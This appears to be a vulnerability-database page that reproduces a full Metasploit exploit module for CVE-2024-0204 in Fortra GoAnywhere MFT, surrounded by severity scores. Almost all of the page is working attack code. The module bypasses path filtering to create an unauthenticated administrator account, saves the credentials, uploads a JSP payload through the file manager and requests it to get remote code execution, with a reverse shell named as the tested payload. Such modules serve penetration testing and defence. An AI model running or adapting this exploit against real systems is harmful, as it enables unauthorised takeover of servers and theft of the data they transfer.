Lucene search

K
metasploitSfewer-r7, James Horseman, Zach HanleyMSF:EXPLOIT-MULTI-HTTP-FORTRA_GOANYWHERE_MFT_RCE_CVE_2024_0204-
HistoryJan 29, 2024 - 5:17 p.m.

Fortra GoAnywhere MFT Unauthenticated Remote Code Execution

2024-01-2917:17:45
sfewer-r7, James Horseman, Zach Hanley
www.rapid7.com
48
metasploit
remote code execution
fortra goanywhere mft
vulnerability
unauthenticated
jsp payload
cve-2024-0204
vendor advisory
file upload
linux
windows
ssl
rest api

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.582 Medium

EPSS

Percentile

97.7%

This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
          create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
          MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF RCE Exploit
          'James Horseman', # Original auth bypass PoC/Analysis
          'Zach Hanley' # Original auth bypass PoC/Analysis
        ],
        'References' => [
          ['CVE', '2024-0204'],
          ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
          ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
        ],
        'DisclosureDate' => '2024-01-22',
        'Platform' => %w[linux win],
        'Arch' => [ARCH_JAVA],
        'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
        'Targets' => [
          [
            # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
            'Automatic', {}
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
            },
          ],
        ],
        'DefaultOptions' => {
          'RPORT' => 8001,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # A new admin account is created, which the exploit can't destroy.
            CONFIG_CHANGES,
            # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
      ]
    )
  end

  def check
    # We can query an undocumented unauthenticated REST API endpoint and pull the version number.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    json_data = res.get_json_document

    product = json_data.dig('data', 'product')

    version = json_data.dig('data', 'version')

    return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?

    # As per the Fortra advisory, the following version are affected:
    # * Fortra GoAnywhere MFT 6.x from 6.0.1
    # * Fortra GoAnywhere MFT 7.x before 7.4.1
    # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
    if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
      return CheckCode::Appears("#{product} #{version}")
    end

    Exploit::CheckCode::Safe("#{product} #{version}")
  end

  def exploit
    # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
    # we generate the username/password pair we want to use.
    # Note: We cannot delete the administrator account that we create.
    admin_username = Rex::Text.rand_text_alpha_lower(8)
    admin_password = Rex::Text.rand_text_alphanumeric(16)

    # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
    # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
    # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
    # a random one that we know works.
    path_segments = %w[styles fonts auth help]

    path_segment = path_segments.sample

    # This is CVE-2024-0204...
    initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
        'j_id_u:creteAdminGrid:username' => admin_username,
        'j_id_u:creteAdminGrid:password' => admin_password,
        'j_id_u:creteAdminGrid:password_hinput' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
        'j_id_u:creteAdminGrid:submitButton' => '',
        'createAdminForm_SUBMIT' => 1
      }
    )

    # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
    # loginNewAdminUser and update our current session, so we dont need to manually login.
    unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
      fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
    end

    print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")

    store_credentials(admin_username, admin_password)

    # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
    if target.name == 'Automatic'
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
        'keep_cookies' => true
      )

      unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
      end

      # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
      # the Java system property "os.name".
      os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
      unless os_match
        fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
      end

      # To perform the JSP payload upload, we need to know the product installation path.
      install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
      unless install_match
        fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
      end

      # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
      found_target = targets.find do |t|
        os_match[1].downcase.include? t.name.downcase
      end

      unless found_target
        fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
      end

      # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
      detected_target = found_target.dup

      detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]

      print_status("Automatic targeting, detected OS: #{detected_target.name}")
      print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
    else
      detected_target = target
    end

    # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
    # change to the directory we want to upload to, then upload the file.

    path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'

    # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
    adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
    adminroot_path += path_separator unless adminroot_path.end_with? path_separator
    adminroot_path += 'adminroot'
    adminroot_path += path_separator

    viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'j_id_4u:j_id_4v:newPath_focus' => '',
        'j_id_4u:j_id_4v:newPath_input' => '/',
        'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
        'j_id_4u:j_id_4v:NewPathButton' => '',
        'j_id_4u_SUBMIT' => 1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
    end

    # We require a regID value form the page to upload a file, so we pull that out here.
    vs_input = res.get_html_document.at('input[name="reqId"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
    end

    request_id = vs_input['value']

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'javax.faces.partial.ajax' => 'true',
        'javax.faces.source' => 'uploadID',
        'javax.faces.partial.execute' => 'uploadID',
        'javax.faces.partial.render' => '@none',
        'uploadID' => 'uploadID',
        'uploadID_sessionCheck' => 'true',
        'reqId' => request_id,
        'whenFileExists_focus' => '',
        'whenFileExists_input' => 'rename',
        'uploaderType' => 'filemanager',
        'j_id_4i_SUBMIT' =>	1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
    end

    jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'

    message = Rex::MIME::Message.new

    message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
    message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
    message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
    message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
    message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
    message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
    message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
    message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
    message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")

    # We can now upload our payload...
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'ctype' => 'multipart/form-data; boundary=' + message.bound,
      'data' => message.to_s
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
    end

    # Register our payload so it is deleted when the session is created.

    jsp_filepath = adminroot_path + jsp_filename

    print_status("Dropped payload: #{jsp_filepath}")

    # We are using the FileDropper mixin to automatically delete this file after a session has been created.
    register_file_for_cleanup(jsp_filepath)

    # A copy of the files this user uploads is left here:
    # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
    # We register these to be deleted, but they appear to be locked, preventing deleting.
    userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
    userdoc_path += path_separator unless userdoc_path.end_with? path_separator
    userdoc_path += 'userdata'
    userdoc_path += path_separator
    userdoc_path += 'documents'
    userdoc_path += path_separator
    userdoc_path += admin_username
    userdoc_path += path_separator

    register_file_for_cleanup(userdoc_path + jsp_filename)

    register_dir_for_cleanup(userdoc_path)

    # Finally, trigger our payload via a GET request...
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, jsp_filename)
    )

    # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
    # interface or REST API.
  end

  # Helper method to pull out a viewstate identifier from a requests HTML response.
  def get_viewstate(endpoint)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, endpoint),
      'keep_cookies' => true
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
    end

    vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
    end

    vs_input['value']
  end

  def store_credentials(username, password)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'GoAnywhere MFT Admin Interface',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: username,
      private_data: password,
      private_type: :password
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.582 Medium

EPSS

Percentile

97.7%